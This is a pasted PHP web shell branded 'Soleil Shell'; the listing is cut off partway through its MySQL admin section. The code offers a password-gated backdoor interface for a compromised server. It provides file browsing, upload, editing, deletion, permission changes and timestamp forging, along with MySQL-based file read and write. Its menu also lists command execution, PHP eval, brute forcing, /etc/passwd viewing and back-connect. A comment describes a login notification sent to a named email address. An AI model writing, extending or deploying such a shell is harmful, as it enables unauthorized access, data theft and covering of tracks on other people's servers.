· 9 years ago · Feb 14, 2017, 08:50 PM
1<?php
2error_reporting(7);
3@set_magic_quotes_runtime(0);
4ob_start();
5$mtime = explode(' ', microtime());
6$starttime = $mtime[1] + $mtime[0];
7define('SA_ROOT', str_replace('\\', '/', dirname(__FILE__)).'/');
8//define('IS_WIN', strstr(PHP_OS, 'WIN') ? 1 : 0 );
9define('IS_WIN', DIRECTORY_SEPARATOR == '\\');
10define('IS_COM', class_exists('COM') ? 1 : 0 );
11define('IS_GPC', get_magic_quotes_gpc());
12$dis_func = get_cfg_var('disable_functions');
13define('IS_PHPINFO', (!eregi("phpinfo",$dis_func)) ? 1 : 0 );
14@set_time_limit(0);
15
16foreach(array('_GET','_POST') as $_request) {
17 foreach($$_request as $_key => $_value) {
18 if ($_key{0} != '_') {
19 if (IS_GPC) {
20 $_value = s_array($_value);
21 }
22 $$_key = $_value;
23 }
24 }
25}
26
27/*================= Info Login ================*/
28$admin = array();
29$admin['check'] = true;
30$admin['pass'] = 'JOLIMOLIS<=>@2017'; // Password login
31$admin['cookiepre'] = '';
32$admin['cookiedomain'] = '';
33$admin['cookiepath'] = '/';
34$admin['cookielife'] = 86400;
35/*===================== End =====================*/
36
37if ($charset == 'utf8') {
38 header("content-Type: text/html; charset=utf-8");
39} elseif ($charset == 'big5') {
40 header("content-Type: text/html; charset=big5");
41} elseif ($charset == 'gbk') {
42 header("content-Type: text/html; charset=gbk");
43} elseif ($charset == 'latin1') {
44 header("content-Type: text/html; charset=iso-8859-2");
45}
46
47$self = $_SERVER['PHP_SELF'] ? $_SERVER['PHP_SELF'] : $_SERVER['SCRIPT_NAME'];
48$timestamp = time();
49
50/*===================== Login =====================*/
51if ($action == "logout") {
52 scookie('vbapass', '', -86400 * 365);
53 p('<meta http-equiv="refresh" content="0;URL='.$self.'">');
54 p('<body background=http://i382.photobucket.com/albums/oo263/vnhacker/bg-1.jpg>');
55 exit;
56}
57if($admin['check']) {
58 if ($doing == 'login') {
59 if ($admin['pass'] == $password) {
60 scookie('vbapass', $password);
61
62// Function mail Sender to my Email - Please remove this before you using this shell code, Thanks - Fernando - VBATeam
63$time_shell = "".date("d/m/Y - H:i:s")."";
64$ip_remote = $_SERVER["REMOTE_ADDR"];
65$from_shellcode = 'shell@'.gethostbyname($_SERVER['SERVER_NAME']).'';
66$to_email = 'ducdung.08clc@gmail.com';
67$server_mail = "".gethostbyname($_SERVER['SERVER_NAME'])." - ".$_SERVER['HTTP_HOST']."";
68$linkcr = "Link: ".$_SERVER['SERVER_NAME']."".$_SERVER['REQUEST_URI']." - IP Excuting: $ip_remote - Time: $time_shell";
69$header = "From: $from_shellcode\r\nReply-to: $from_shellcode";
70 p('<meta http-equiv="refresh" content="2;URL='.$self.'">');
71 p('<body background=http://i382.photobucket.com/albums/oo263/vnhacker/bg-1.jpg>
72<BR><BR><div align=center><font color=yellow face=tahoma size=2> Connecting to Server - Please wait....<BR><img src=http://cc2.upanh.com/27.179.34439411.En40/loading.gif></div>');
73 exit;
74 }
75
76 else
77 {
78 $err_mess = '<table width=100%><tr><td bgcolor=#0E0E0E width=100% height=24><div align=center><font color=red face=tahoma size=2><blink>Password incorrect, Please try again!!!</blink><BR></font></div></td></tr></table>';
79echo $err_mess;
80 }}
81 if ($_COOKIE['vbapass']) {
82 if ($_COOKIE['vbapass'] != $admin['pass']) {
83 loginpage();
84 }
85 } else {
86 loginpage();
87 }
88}
89/*===================== Login =====================*/
90
91$errmsg = '';
92
93if ($action == 'phpinfo') {
94 if (IS_PHPINFO) {
95 phpinfo();
96 } else {
97 $errmsg = 'phpinfo() function has non-permissible';
98 }
99}
100
101
102if ($doing == 'downfile' && $thefile) {
103 if (!@file_exists($thefile)) {
104 $errmsg = 'The file you want Downloadable was nonexistent';
105 } else {
106 $fileinfo = pathinfo($thefile);
107 header('Content-type: application/x-'.$fileinfo['extension']);
108 header('Content-Disposition: attachment; filename='.$fileinfo['basename']);
109 header('Content-Length: '.filesize($thefile));
110 @readfile($thefile);
111 exit;
112 }
113}
114
115
116if ($doing == 'backupmysql' && !$saveasfile) {
117 dbconn($dbhost, $dbuser, $dbpass, $dbname, $charset, $dbport);
118 $table = array_flip($table);
119 $result = q("SHOW tables");
120 if (!$result) p('<h2>'.mysql_error().'</h2>');
121 $filename = basename($_SERVER['HTTP_HOST'].'_MySQL.sql');
122 header('Content-type: application/unknown');
123 header('Content-Disposition: attachment; filename='.$filename);
124 $mysqldata = '';
125 while ($currow = mysql_fetch_array($result)) {
126 if (isset($table[$currow[0]])) {
127 $mysqldata .= sqldumptable($currow[0]);
128 }
129 }
130 mysql_close();
131 exit;
132}
133
134// Mysql
135if($doing=='mysqldown'){
136 if (!$dbname) {
137 $errmsg = 'Please input dbname';
138 } else {
139 dbconn($dbhost, $dbuser, $dbpass, $dbname, $charset, $dbport);
140 if (!file_exists($mysqldlfile)) {
141 $errmsg = 'The file you want Downloadable was nonexistent';
142 } else {
143 $result = q("select load_file('$mysqldlfile');");
144 if(!$result){
145 q("DROP TABLE IF EXISTS tmp_angel;");
146 q("CREATE TABLE tmp_angel (content LONGBLOB NOT NULL);");
147 //Download SQL
148 q("LOAD DATA LOCAL INFILE '".addslashes($mysqldlfile)."' INTO TABLE tmp_angel FIELDS TERMINATED BY '__angel_{$timestamp}_eof__' ESCAPED BY '' LINES TERMINATED BY '__angel_{$timestamp}_eof__';");
149 $result = q("select content from tmp_angel");
150 q("DROP TABLE tmp_angel");
151 }
152 $row = @mysql_fetch_array($result);
153 if (!$row) {
154 $errmsg = 'Load file failed '.mysql_error();
155 } else {
156 $fileinfo = pathinfo($mysqldlfile);
157 header('Content-type: application/x-'.$fileinfo['extension']);
158 header('Content-Disposition: attachment; filename='.$fileinfo['basename']);
159 header("Accept-Length: ".strlen($row[0]));
160 echo $row[0];
161 exit;
162 }
163 }
164 }
165}
166
167?>
168<html>
169<head>
170<meta http-equiv="Content-Type" content="text/html; charset=utf-8">
171<title><?php echo str_replace('.','','Soleil');?></title>
172<style type="text/css">
173body,td{font: 10pt Tahoma;color:gray;line-height: 16px;}
174
175a {color: #74A202;text-decoration:none;}
176a:hover{color: #f00;text-decoration:underline;}
177.alt1 td{border-top:1px solid gray;border-bottom:1px solid gray;background:#0E0E0E;padding:5px 10px 5px 5px;}
178.alt2 td{border-top:1px solid gray;border-bottom:1px solid gray;background:#f9f9f9;padding:5px 10px 5px 5px;}
179.focus td{border-top:1px solid gray;border-bottom:0px solid gray;background:#0E0E0E;padding:5px 10px 5px 5px;}
180.fout1 td{border-top:1px solid gray;border-bottom:0px solid gray;background:#0E0E0E;padding:5px 10px 5px 5px;}
181.fout td{border-top:1px solid gray;border-bottom:0px solid gray;background:#202020;padding:5px 10px 5px 5px;}
182.head td{border-top:1px solid gray;border-bottom:1px solid gray;background:#202020;padding:5px 10px 5px 5px;font-weight:bold;}
183.head_small td{border-top:1px solid gray;border-bottom:1px solid gray;background:#202020;padding:5px 10px 5px 5px;font-weight:normal;font-size:8pt;}
184.head td span{font-weight:normal;}
185form{margin:0;padding:0;}
186h2{margin:0;padding:0;height:24px;line-height:24px;font-size:14px;color:#5B686F;}
187ul.info li{margin:0;color:#444;line-height:24px;height:24px;}
188u{text-decoration: none;color:#777;float:left;display:block;width:150px;margin-right:10px;}
189input, textarea, button
190{
191 font-size: 9pt;
192 color: #ccc;
193 font-family: verdana, sans-serif;
194 background-color: #202020;
195 border-left: 1px solid #74A202;
196 border-top: 1px solid #74A202;
197 border-right: 1px solid #74A202;
198 border-bottom: 1px solid #74A202;
199}
200select
201{
202 font-size: 8pt;
203 font-weight: normal;
204 color: #ccc;
205 font-family: verdana, sans-serif;
206 background-color: #202020;
207}
208
209</style>
210<script type="text/javascript">
211function CheckAll(form) {
212 for(var i=0;i<form.elements.length;i++) {
213 var e = form.elements[i];
214 if (e.name != 'chkall')
215 e.checked = form.chkall.checked;
216 }
217}
218function $(id) {
219 return document.getElementById(id);
220}
221function goaction(act){
222 $('goaction').action.value=act;
223 $('goaction').submit();
224}
225</script>
226</head>
227<body onLoad="init()" style="margin:0;table-layout:fixed; word-break:break-all" bgcolor=black background=http://i382.photobucket.com/albums/oo263/vnhacker/bg-1.jpg>
228
229
230<div border="0" style="position:fixed; width: 100%; height: 25px; z-index: 1; top: 300px; left: 0;" id="loading" align="center" valign="center">
231 <table border="1" width="110px" cellspacing="0" cellpadding="0" style="border-collapse: collapse" bordercolor="#003300">
232 <tr>
233 <td align="center" valign=center>
234 <div border="1" style="background-color: #0E0E0E; filter: alpha(opacity=70); opacity: .7; width: 110px; height: 25px; z-index: 1; border-collapse: collapse;" bordercolor="#006600" align="center">
235 Loading<img src="http://i382.photobucket.com/albums/oo263/vnhacker/loading.gif">
236 </div>
237 </td>
238 </tr>
239 </table>
240 </div>
241 <script>
242 var ld=(document.all);
243 var ns4=document.layers;
244 var ns6=document.getElementById&&!document.all;
245 var ie4=document.all;
246 if (ns4)
247 ld=document.loading;
248 else if (ns6)
249 ld=document.getElementById("loading").style;
250 else if (ie4)
251 ld=document.all.loading.style;
252 function init()
253 {
254 if(ns4){ld.visibility="hidden";}
255 else if (ns6||ie4) ld.display="none";
256 }
257 </script>
258
259
260
261
262<table width="100%" border="0" cellpadding="0" cellspacing="0">
263 <tr class="head_small">
264 <td width=100%>
265 <table width=100%><tr class="head_small"><td width=86px><a Soleilhref="<?php $self;?>"><img src=http://i1204.photobucket.com/albums/bb420/Soleil1994/1281544745_yeah1com_teen_alone_bot.jpg height=86 border=0></a></td><td>
266 <span style="float:right;"> <?php echo "Hostname: ".$_SERVER['HTTP_HOST']."";?> | <a href="ducdung.08clc@yahoo.com.vn target="_blank"><?php echo str_replace('.','','Soleil');?> Shell</a> | <a href="javascript:goaction('logout');"><font color=red>Logout</font></a></span>
267
268 <?php
269 $curl_on = @function_exists('curl_version');
270 $mysql_on = @function_exists('mysql_connect');
271 $mssql_on = @function_exists('mssql_connect');
272 $pg_on = @function_exists('pg_connect');
273 $ora_on = @function_exists('ocilogon');
274
275echo ((get_cfg_var(safe_mode)=='1')?("Safe_mod: <b><font color=green>ON</font></b> - "):("Safe_mod: <b><font color=red>OFF</font></b> - "));
276echo "PHP version: <b>".@phpversion()."</b> - ";
277 echo "cURL: ".(($curl_on)?("<b><font color=green>ON</font></b> - "):("<b><font color=red>OFF</font></b> - "));
278 echo "MySQL: <b>";
279$mysql_on = @function_exists('mysql_connect');
280if($mysql_on){
281echo "<font color=green>ON</font></b> - "; } else { echo "<font color=red>OFF</font></b> - "; }
282echo "MSSQL: <b>";
283$mssql_on = @function_exists('mssql_connect');
284if($mssql_on){echo "<font color=green>ON</font></b> - ";}else{echo "<font color=red>OFF</font></b> - ";}
285echo "PostgreSQL: <b>";
286$pg_on = @function_exists('pg_connect');
287if($pg_on){echo "<font color=green>ON</font></b> - ";}else{echo "<font color=red>OFF</font></b> - ";}
288echo "Oracle: <b>";
289$ora_on = @function_exists('ocilogon');
290if($ora_on){echo "<font color=green>ON</font></b>";}else{echo "<font color=red>OFF</font></b><BR>";}
291
292echo "Disable functions : <b>";
293if(''==($df=@ini_get('disable_functions'))){echo "<font color=green>NONE</font></b><BR>";}else{echo "<font color=red>$df</font></b><BR>";}
294
295echo "<font color=white>Uname -a</font>: ".@substr(@php_uname(),0,120)."<br>";
296echo "<font color=white>Server</font>: ".@substr($SERVER_SOFTWARE,0,120)." - <font color=white>id</font>: ".@getmyuid()."(".@get_current_user().") - uid=".@getmyuid()." (".@get_current_user().") gid=".@getmygid()."(".@get_current_user().")<br>";
297 ?>
298 </td></tr></table></td>
299 </tr>
300 <tr class="alt1">
301 <td width=100%><span style="float:right;">[Server IP: <?php echo "<font color=yellow>".gethostbyname($_SERVER['SERVER_NAME'])."</font>";?> - Your IP: <?php echo "<font color=yellow>".$_SERVER['REMOTE_ADDR']."</font>";?>] </span>
302
303 <a href="javascript:goaction('file');">File Manager</a> |
304 <a href="javascript:goaction('sqladmin');">MySQL Manager</a> |
305 <a href="javascript:goaction('sqlfile');">MySQL Upload & Download</a> |
306 <a href="javascript:goaction('shell');">Execute Command</a> |
307 <a href="javascript:goaction('phpenv');">PHP Variable</a> |
308 <a href="javascript:goaction('eval');">Eval PHP Code</a>
309 <?php if (!IS_WIN) {?> | <a href="javascript:goaction('brute');">Brute</a> <?php }?>
310 <?php if (!IS_WIN) {?> | <a href="javascript:goaction('etcpwd');">/etc/passwd</a> <?php }?>
311 <?php if (!IS_WIN) {?> | <a href="javascript:goaction('backconnect');">Back Connect</a><?php }?>
312 </td>
313 </tr>
314</table>
315<table width="100%" border="0" cellpadding="15" cellspacing="0"><tr><td>
316<?php
317
318formhead(array('name'=>'goaction'));
319makehide('action');
320formfoot();
321
322$errmsg && m($errmsg);
323
324// Dir function
325!$dir && $dir = '.';
326$nowpath = getPath(SA_ROOT, $dir);
327if (substr($dir, -1) != '/') {
328 $dir = $dir.'/';
329}
330$uedir = ue($dir);
331
332if (!$action || $action == 'file') {
333
334 // Non-writeable
335 $dir_writeable = @is_writable($nowpath) ? 'Writable' : 'Non-writable';
336
337 // Delete dir
338 if ($doing == 'deldir' && $thefile) {
339 if (!file_exists($thefile)) {
340 m($thefile.' directory does not exist');
341 } else {
342 m('Directory delete '.(deltree($thefile) ? basename($thefile).' success' : 'failed'));
343 }
344 }
345
346 // Create new dir
347 elseif ($newdirname) {
348 $mkdirs = $nowpath.$newdirname;
349 if (file_exists($mkdirs)) {
350 m('Directory has already existed');
351 } else {
352 m('Directory created '.(@mkdir($mkdirs,0777) ? 'success' : 'failed'));
353 @chmod($mkdirs,0777);
354 }
355 }
356
357 // Upload file
358 elseif ($doupfile) {
359 m('File upload '.(@copy($_FILES['uploadfile']['tmp_name'],$uploaddir.'/'.$_FILES['uploadfile']['name']) ? 'success' : 'failed'));
360 }
361
362 // Edit file
363 elseif ($editfilename && $filecontent) {
364 $fp = @fopen($editfilename,'w');
365 m('Save file '.(@fwrite($fp,$filecontent) ? 'success' : 'failed'));
366 @fclose($fp);
367 }
368
369 // Modify
370 elseif ($pfile && $newperm) {
371 if (!file_exists($pfile)) {
372 m('The original file does not exist');
373 } else {
374 $newperm = base_convert($newperm,8,10);
375 m('Modify file attributes '.(@chmod($pfile,$newperm) ? 'success' : 'failed'));
376 }
377 }
378
379 // Rename
380 elseif ($oldname && $newfilename) {
381 $nname = $nowpath.$newfilename;
382 if (file_exists($nname) || !file_exists($oldname)) {
383 m($nname.' has already existed or original file does not exist');
384 } else {
385 m(basename($oldname).' renamed '.basename($nname).(@rename($oldname,$nname) ? ' success' : 'failed'));
386 }
387 }
388
389 // Copu
390 elseif ($sname && $tofile) {
391 if (file_exists($tofile) || !file_exists($sname)) {
392 m('The goal file has already existed or original file does not exist');
393 } else {
394 m(basename($tofile).' copied '.(@copy($sname,$tofile) ? basename($tofile).' success' : 'failed'));
395 }
396 }
397
398 // File exit
399 elseif ($curfile && $tarfile) {
400 if (!@file_exists($curfile) || !@file_exists($tarfile)) {
401 m('The goal file has already existed or original file does not exist');
402 } else {
403 $time = @filemtime($tarfile);
404 m('Modify file the last modified '.(@touch($curfile,$time,$time) ? 'success' : 'failed'));
405 }
406 }
407
408 // Date
409 elseif ($curfile && $year && $month && $day && $hour && $minute && $second) {
410 if (!@file_exists($curfile)) {
411 m(basename($curfile).' does not exist');
412 } else {
413 $time = strtotime("$year-$month-$day $hour:$minute:$second");
414 m('Modify file the last modified '.(@touch($curfile,$time,$time) ? 'success' : 'failed'));
415 }
416 }
417
418 // Download
419 elseif($doing == 'downrar') {
420 if ($dl) {
421 $dfiles='';
422 foreach ($dl as $filepath => $value) {
423 $dfiles.=$filepath.',';
424 }
425 $dfiles=substr($dfiles,0,strlen($dfiles)-1);
426 $dl=explode(',',$dfiles);
427 $zip=new PHPZip($dl);
428 $code=$zip->out;
429 header('Content-type: application/octet-stream');
430 header('Accept-Ranges: bytes');
431 header('Accept-Length: '.strlen($code));
432 header('Content-Disposition: attachment;filename='.$_SERVER['HTTP_HOST'].'_Files.tar.gz');
433 echo $code;
434 exit;
435 } else {
436 m('Please select file(s)');
437 }
438 }
439
440 // Delete file
441 elseif($doing == 'delfiles') {
442 if ($dl) {
443 $dfiles='';
444 $succ = $fail = 0;
445 foreach ($dl as $filepath => $value) {
446 if (@unlink($filepath)) {
447 $succ++;
448 } else {
449 $fail++;
450 }
451 }
452 m('Deleted file have finished??choose '.count($dl).' success '.$succ.' fail '.$fail);
453 } else {
454 m('Please select file(s)');
455 }
456 }
457
458 // Function Newdir
459 formhead(array('name'=>'createdir'));
460 makehide('newdirname');
461 makehide('dir',$nowpath);
462 formfoot();
463 formhead(array('name'=>'fileperm'));
464 makehide('newperm');
465 makehide('pfile');
466 makehide('dir',$nowpath);
467 formfoot();
468 formhead(array('name'=>'copyfile'));
469 makehide('sname');
470 makehide('tofile');
471 makehide('dir',$nowpath);
472 formfoot();
473 formhead(array('name'=>'rename'));
474 makehide('oldname');
475 makehide('newfilename');
476 makehide('dir',$nowpath);
477 formfoot();
478 formhead(array('name'=>'fileopform'));
479 makehide('action');
480 makehide('opfile');
481 makehide('dir');
482 formfoot();
483
484 $free = @disk_free_space($nowpath);
485 !$free && $free = 0;
486 $all = @disk_total_space($nowpath);
487 !$all && $all = 0;
488 $used = $all-$free;
489 $used_percent = @round(100/($all/$free),2);
490 p('<font color=yellow face=tahoma size=2><B>File Manager</b> </font> Current disk free <font color=red>'.sizecount($free).'</font> of <font color=red>'.sizecount($all).'</font> (<font color=red>'.$used_percent.'</font>%)</font>');
491
492?>
493<table width="100%" border="0" cellpadding="0" cellspacing="0" style="margin:10px 0;">
494 <form action="" method="post" id="godir" name="godir">
495 <tr>
496 <td nowrap>Current Directory (<?php echo $dir_writeable;?>, <?php echo getChmod($nowpath);?>)</td>
497 <td width="100%"><input name="view_writable" value="0" type="hidden" /><input class="input" name="dir" value="<?php echo $nowpath;?>" type="text" style="width:100%;margin:0 8px;"></td>
498 <td nowrap><input class="bt" value="GO" type="submit"></td>
499 </tr>
500 </form>
501</table>
502<script type="text/javascript">
503function createdir(){
504 var newdirname;
505 newdirname = prompt('Please input the directory name:', '');
506 if (!newdirname) return;
507 $('createdir').newdirname.value=newdirname;
508 $('createdir').submit();
509}
510function fileperm(pfile){
511 var newperm;
512 newperm = prompt('Current file:'+pfile+'\nPlease input new attribute:', '');
513 if (!newperm) return;
514 $('fileperm').newperm.value=newperm;
515 $('fileperm').pfile.value=pfile;
516 $('fileperm').submit();
517}
518function copyfile(sname){
519 var tofile;
520 tofile = prompt('Original file:'+sname+'\nPlease input object file (fullpath):', '');
521 if (!tofile) return;
522 $('copyfile').tofile.value=tofile;
523 $('copyfile').sname.value=sname;
524 $('copyfile').submit();
525}
526function rename(oldname){
527 var newfilename;
528 newfilename = prompt('Former file name:'+oldname+'\nPlease input new filename:', '');
529 if (!newfilename) return;
530 $('rename').newfilename.value=newfilename;
531 $('rename').oldname.value=oldname;
532 $('rename').submit();
533}
534function dofile(doing,thefile,m){
535 if (m && !confirm(m)) {
536 return;
537 }
538 $('filelist').doing.value=doing;
539 if (thefile){
540 $('filelist').thefile.value=thefile;
541 }
542 $('filelist').submit();
543}
544function createfile(nowpath){
545 var filename;
546 filename = prompt('Please input the file name:', '');
547 if (!filename) return;
548 opfile('editfile',nowpath + filename,nowpath);
549}
550function opfile(action,opfile,dir){
551 $('fileopform').action.value=action;
552 $('fileopform').opfile.value=opfile;
553 $('fileopform').dir.value=dir;
554 $('fileopform').submit();
555}
556function godir(dir,view_writable){
557 if (view_writable) {
558 $('godir').view_writable.value=1;
559 }
560 $('godir').dir.value=dir;
561 $('godir').submit();
562}
563</script>
564 <?php
565 tbhead();
566 p('<form action="'.$self.'" method="POST" enctype="multipart/form-data"><tr class="alt1"><td colspan="7" style="padding:5px;">');
567 p('<div style="float:right;"><input class="input" name="uploadfile" value="" type="file" /> <input class="" name="doupfile" value="Upload" type="submit" /><input name="uploaddir" value="'.$dir.'" type="hidden" /><input name="dir" value="'.$dir.'" type="hidden" /></div>');
568 p('<a href="javascript:godir(\''.$_SERVER["DOCUMENT_ROOT"].'\');">WebRoot</a>');
569 if ($view_writable) {
570 p(' | <a href="javascript:godir(\''.$nowpath.'\');">View All</a>');
571 } else {
572 p(' | <a href="javascript:godir(\''.$nowpath.'\',\'1\');">View Writable</a>');
573 }
574 p(' | <a href="javascript:createdir();">Create Directory</a> | <a href="javascript:createfile(\''.$nowpath.'\');">Create File</a>');
575 if (IS_WIN && IS_COM) {
576 $obj = new COM('scripting.filesystemobject');
577 if ($obj && is_object($obj)) {
578 $DriveTypeDB = array(0 => 'Unknow',1 => 'Removable',2 => 'Fixed',3 => 'Network',4 => 'CDRom',5 => 'RAM Disk');
579 foreach($obj->Drives as $drive) {
580 if ($drive->DriveType == 2) {
581 p(' | <a href="javascript:godir(\''.$drive->Path.'/\');" title="Size:'.sizecount($drive->TotalSize).'
582Free:'.sizecount($drive->FreeSpace).'
583Type:'.$DriveTypeDB[$drive->DriveType].'">'.$DriveTypeDB[$drive->DriveType].'('.$drive->Path.')</a>');
584 } else {
585 p(' | <a href="javascript:godir(\''.$drive->Path.'/\');" title="Type:'.$DriveTypeDB[$drive->DriveType].'">'.$DriveTypeDB[$drive->DriveType].'('.$drive->Path.')</a>');
586 }
587 }
588 }
589 }
590
591 p('</td></tr></form>');
592
593 p('<tr class="head"><td> </td><td>Filename</td><td width="16%">Last modified</td><td width="10%">Size</td><td width="20%">Chmod / Perms</td><td width="22%">Action</td></tr>');
594
595 // Get path
596 $dirdata=array();
597 $filedata=array();
598
599 if ($view_writable) {
600 $dirdata = GetList($nowpath);
601 } else {
602 // Open dir
603 $dirs=@opendir($dir);
604 while ($file=@readdir($dirs)) {
605 $filepath=$nowpath.$file;
606 if(@is_dir($filepath)){
607 $dirdb['filename']=$file;
608 $dirdb['mtime']=@date('Y-m-d H:i:s',filemtime($filepath));
609 $dirdb['dirchmod']=getChmod($filepath);
610 $dirdb['dirperm']=getPerms($filepath);
611 $dirdb['fileowner']=getUser($filepath);
612 $dirdb['dirlink']=$nowpath;
613 $dirdb['server_link']=$filepath;
614 $dirdb['client_link']=ue($filepath);
615 $dirdata[]=$dirdb;
616 } else {
617 $filedb['filename']=$file;
618 $filedb['size']=sizecount(@filesize($filepath));
619 $filedb['mtime']=@date('Y-m-d H:i:s',filemtime($filepath));
620 $filedb['filechmod']=getChmod($filepath);
621 $filedb['fileperm']=getPerms($filepath);
622 $filedb['fileowner']=getUser($filepath);
623 $filedb['dirlink']=$nowpath;
624 $filedb['server_link']=$filepath;
625 $filedb['client_link']=ue($filepath);
626 $filedata[]=$filedb;
627 }
628 }// while
629 unset($dirdb);
630 unset($filedb);
631 @closedir($dirs);
632 }
633 @sort($dirdata);
634 @sort($filedata);
635 $dir_i = '0';
636 foreach($dirdata as $key => $dirdb){
637 if($dirdb['filename']!='..' && $dirdb['filename']!='.') {
638 $thisbg = bg();
639 p('<tr class="fout" onmouseover="this.className=\'focus\';" onmouseout="this.className=\'fout\';">');
640 p('<td width="2%" nowrap><font face="wingdings" size="3">0</font></td>');
641 p('<td><a href="javascript:godir(\''.$dirdb['server_link'].'\');">'.$dirdb['filename'].'</a></td>');
642 p('<td nowrap>'.$dirdb['mtime'].'</td>');
643 p('<td nowrap>--</td>');
644 p('<td nowrap>');
645 p('<a href="javascript:fileperm(\''.$dirdb['server_link'].'\');">'.$dirdb['dirchmod'].'</a> / ');
646 p('<a href="javascript:fileperm(\''.$dirdb['server_link'].'\');">'.$dirdb['dirperm'].'</a>'.$dirdb['fileowner'].'</td>');
647 p('<td nowrap><a href="javascript:dofile(\'deldir\',\''.$dirdb['server_link'].'\',\'Are you sure will delete '.$dirdb['filename'].'? \\n\\nIf non-empty directory, will be delete all the files.\')">Del</a> | <a href="javascript:rename(\''.$dirdb['server_link'].'\');">Rename</a></td>');
648 p('</tr>');
649 $dir_i++;
650 } else {
651 if($dirdb['filename']=='..') {
652 p('<tr class=fout>');
653 p('<td align="center"><font face="Wingdings 3" size=4>=</font></td><td nowrap colspan="5"><a href="javascript:godir(\''.getUpPath($nowpath).'\');">Parent Directory</a></td>');
654 p('</tr>');
655 }
656 }
657 }
658
659 p('<tr bgcolor="green" stlye="border-top:1px solid gray;border-bottom:1px solid gray;"><td colspan="6" height="5"></td></tr>');
660 p('<form id="filelist" name="filelist" action="'.$self.'" method="post">');
661 makehide('action','file');
662 makehide('thefile');
663 makehide('doing');
664 makehide('dir',$nowpath);
665 $file_i = '0';
666 foreach($filedata as $key => $filedb){
667 if($filedb['filename']!='..' && $filedb['filename']!='.') {
668 $fileurl = str_replace(SA_ROOT,'',$filedb['server_link']);
669 $thisbg = bg();
670 p('<tr class="fout" onmouseover="this.className=\'focus\';" onmouseout="this.className=\'fout\';">');
671 p('<td width="2%" nowrap><input type="checkbox" value="1" name="dl['.$filedb['server_link'].']"></td>');
672 p('<td><a href="'.$fileurl.'" target="_blank">'.$filedb['filename'].'</a></td>');
673 p('<td nowrap>'.$filedb['mtime'].'</td>');
674 p('<td nowrap>'.$filedb['size'].'</td>');
675 p('<td nowrap>');
676 p('<a href="javascript:fileperm(\''.$filedb['server_link'].'\');">'.$filedb['filechmod'].'</a> / ');
677 p('<a href="javascript:fileperm(\''.$filedb['server_link'].'\');">'.$filedb['fileperm'].'</a>'.$filedb['fileowner'].'</td>');
678 p('<td nowrap>');
679 p('<a href="javascript:dofile(\'downfile\',\''.$filedb['server_link'].'\');">Down</a> | ');
680 p('<a href="javascript:copyfile(\''.$filedb['server_link'].'\');">Copy</a> | ');
681 p('<a href="javascript:opfile(\'editfile\',\''.$filedb['server_link'].'\',\''.$filedb['dirlink'].'\');">Edit</a> | ');
682 p('<a href="javascript:rename(\''.$filedb['server_link'].'\');">Rename</a> | ');
683 p('<a href="javascript:opfile(\'newtime\',\''.$filedb['server_link'].'\',\''.$filedb['dirlink'].'\');">Time</a>');
684 p('</td></tr>');
685 $file_i++;
686 }
687 }
688 p('<tr class="fout1"><td align="center"><input name="chkall" value="on" type="checkbox" onclick="CheckAll(this.form)" /></td><td><a href="javascript:dofile(\'downrar\');">Packing download selected</a> - <a href="javascript:dofile(\'delfiles\');">Delete selected</a></td><td colspan="4" align="right">'.$dir_i.' directories / '.$file_i.' files</td></tr>');
689 p('</form></table>');
690}// end dir
691
692elseif ($action == 'sqlfile') {
693 if($doing=="mysqlupload"){
694 $file = $_FILES['uploadfile'];
695 $filename = $file['tmp_name'];
696 if (file_exists($savepath)) {
697 m('The goal file has already existed');
698 } else {
699 if(!$filename) {
700 m('Please choose a file');
701 } else {
702 $fp=@fopen($filename,'r');
703 $contents=@fread($fp, filesize($filename));
704 @fclose($fp);
705 $contents = bin2hex($contents);
706 if(!$upname) $upname = $file['name'];
707 dbconn($dbhost,$dbuser,$dbpass,$dbname,$charset,$dbport);
708 $result = q("SELECT 0x{$contents} FROM mysql.user INTO DUMPFILE '$savepath';");
709 m($result ? 'Upload success' : 'Upload has failed: '.mysql_error());
710 }
711 }
712 }
713?>
714<script type="text/javascript">
715function mysqlfile(doing){
716 if(!doing) return;
717 $('doing').value=doing;
718 $('mysqlfile').dbhost.value=$('dbinfo').dbhost.value;
719 $('mysqlfile').dbport.value=$('dbinfo').dbport.value;
720 $('mysqlfile').dbuser.value=$('dbinfo').dbuser.value;
721 $('mysqlfile').dbpass.value=$('dbinfo').dbpass.value;
722 $('mysqlfile').dbname.value=$('dbinfo').dbname.value;
723 $('mysqlfile').charset.value=$('dbinfo').charset.value;
724 $('mysqlfile').submit();
725}
726</script>
727<?php
728 !$dbhost && $dbhost = 'localhost';
729 !$dbuser && $dbuser = 'root';
730 !$dbport && $dbport = '3306';
731 $charsets = array(''=>'Default','gbk'=>'GBK', 'big5'=>'Big5', 'utf8'=>'UTF-8', 'latin1'=>'Latin1');
732 formhead(array('title'=>'MYSQL Information','name'=>'dbinfo'));
733 makehide('action','sqlfile');
734 p('<p>');
735 p('DBHost:');
736 makeinput(array('name'=>'dbhost','size'=>20,'value'=>$dbhost));
737 p(':');
738 makeinput(array('name'=>'dbport','size'=>4,'value'=>$dbport));
739 p('DBUser:');
740 makeinput(array('name'=>'dbuser','size'=>15,'value'=>$dbuser));
741 p('DBPass:');
742 makeinput(array('name'=>'dbpass','size'=>15,'value'=>$dbpass));
743 p('DBName:');
744 makeinput(array('name'=>'dbname','size'=>15,'value'=>$dbname));
745 p('DBCharset:');
746 makeselect(array('name'=>'charset','option'=>$charsets,'selected'=>$charset));
747 p('</p>');
748 formfoot();
749 p('<form action="'.$self.'" method="POST" enctype="multipart/form-data" name="mysqlfile" id="mysqlfile">');
750 p('<h2>Upload file</h2>');
751 p('<p><b>This operation the DB user must has FILE privilege</b></p>');
752 p('<p>Save path(fullpath): <input class="input" name="savepath" size="45" type="text" /> Choose a file: <input class="input" name="uploadfile" type="file" /> <a href="javascript:mysqlfile(\'mysqlupload\');">Upload</a></p>');
753 p('<h2>Download file</h2>');
754 p('<p>File: <input class="input" name="mysqldlfile" size="115" type="text" /> <a href="javascript:mysqlfile(\'mysqldown\');">Download</a></p>');
755 makehide('dbhost');
756 makehide('dbport');
757 makehide('dbuser');
758 makehide('dbpass');
759 makehide('dbname');
760 makehide('charset');
761 makehide('doing');
762 makehide('action','sqlfile');
763 p('</form>');
764}
765
766elseif ($action == 'sqladmin') {
767 !$dbhost && $dbhost = 'localhost';
768 !$dbuser && $dbuser = 'root';
769 !$dbport && $dbport = '3306';
770 $dbform = '<input type="hidden" id="connect" name="connect" value="1" />';
771 if(isset($dbhost)){
772 $dbform .= "<input type=\"hidden\" id=\"dbhost\" name=\"dbhost\" value=\"$dbhost\" />\n";
773 }
774 if(isset($dbuser)) {
